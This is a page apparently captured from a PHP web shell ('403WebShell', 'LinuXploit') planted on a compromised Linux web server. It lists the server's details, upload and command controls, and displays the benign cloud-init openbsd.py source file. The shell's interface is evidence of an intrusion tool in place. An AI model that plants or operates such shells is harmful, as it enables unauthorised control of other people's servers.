Uname:Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 173.249.148.11  /  Your IP : 216.73.216.179
Web Server : Apache/2.4.68 (AlmaLinux)
System : Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64
User : devinter ( 1006)
PHP Version : 8.3.35
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/core/17284/usr/lib/python3/dist-packages/cloudinit/distros/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/core/17284/usr/lib/python3/dist-packages/cloudinit/distros/openbsd.py
# Copyright (C) 2019-2020 Gonéri Le Bouder
#
# This file is part of cloud-init. See LICENSE file for license information.

import os
import platform

import cloudinit.distros.netbsd
from cloudinit import log as logging
from cloudinit import subp
from cloudinit import util

LOG = logging.getLogger(__name__)


class Distro(cloudinit.distros.netbsd.NetBSD):
    hostname_conf_fn = '/etc/myname'

    def _read_hostname(self, filename, default=None):
        return util.load_file(self.hostname_conf_fn)

    def _write_hostname(self, hostname, filename):
        content = hostname + '\n'
        util.write_file(self.hostname_conf_fn, content)

    def _get_add_member_to_group_cmd(self, member_name, group_name):
        return ['usermod', '-G', group_name, member_name]

    def lock_passwd(self, name):
        try:
            subp.subp(['usermod', '-p', '*', name])
        except Exception:
            util.logexc(LOG, "Failed to lock user %s", name)
            raise

    def unlock_passwd(self, name):
        pass

    def _get_pkg_cmd_environ(self):
        """Return env vars used in OpenBSD package_command operations"""
        os_release = platform.release()
        os_arch = platform.machine()
        e = os.environ.copy()
        e['PKG_PATH'] = (
            'ftp://ftp.openbsd.org/pub/OpenBSD/{os_release}/'
            'packages/{os_arch}/').format(
            os_arch=os_arch, os_release=os_release
        )
        return e


# vi: ts=4 expandtab

Youez - 2016 - github.com/yon3zu
LinuXploit